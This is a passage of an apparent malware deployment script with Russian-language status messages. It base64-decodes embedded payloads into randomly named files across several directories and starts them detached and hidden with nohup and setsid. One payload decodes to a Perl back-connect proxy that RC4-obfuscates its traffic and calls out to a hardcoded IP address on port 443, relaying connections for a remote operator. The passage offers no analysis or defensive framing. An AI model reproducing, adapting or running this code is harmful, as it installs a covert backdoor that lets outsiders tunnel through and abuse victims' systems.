Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #10 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #10 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 11 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNTAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo 